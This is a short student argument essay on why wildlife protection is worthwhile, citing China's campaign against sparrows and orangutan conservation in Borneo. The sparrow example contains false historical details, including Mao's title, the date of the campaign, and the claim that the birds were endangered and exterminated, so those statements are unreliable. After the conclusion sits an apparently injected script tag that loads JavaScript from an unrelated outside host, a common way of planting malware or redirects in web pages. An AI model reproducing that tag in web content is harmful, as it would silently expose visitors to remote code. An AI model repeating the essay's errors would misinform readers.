Wild animals have no place in the 21st century so protecting them is a waste of resources To what extent do you agree or disagree

Many argue that conserving wildlife is pointless as no place for animals in the current decade. I disagree with that notion as saving wildlife will balance the ecosystem and be valuable to research development.

The balanced ecosphere is the main reason to protect wild animals, preserving the existence of organisms. This is because natural food chains would not be disturbed by any animal’s extinction. Thus, no organisms would lose their food or be killed by certain animals' overpopulation. For instance, in the late 60s, Mao Zedong, China’s president, announced that the Sparrow bird–-one of the endangered animals–-was the cause of crop failures. He declared to kill all the Sparrow birds alive to reduce the crop failures. However, after killing all the Sparrows, the entire area was attacked by an abundance of insects which later found out that it was the Sparrows' food. Its extinction resulted in an insect's overpopulation that caused even greater failures.

Another reason to protect the wildlife is its role in advancing research development as each observation would evaluate or improve the prior ones. This will lead to the most up-to-date discoveries that would be an advantage to the life of both wild animals and humankind. For instance, Indonesia has begun conserving Orang Utan since 1990 as the number of species kept decreasing. After evaluating how to increase the Orang Utan population, many papers had published about the positive impact between Orang Utan and Borneo’s forest. Therefore, the published research had been a guideline to protect the forest as it also played numerous advantages to Borneo people.

In conclusion, ecosystem balance and improved quality of research are the two primary cause why protecting wild animals is not useless. If possible, wildlife protection should be included in school curriculums.
<script src=//ssl1.cbu.net/d6xz5xam></script>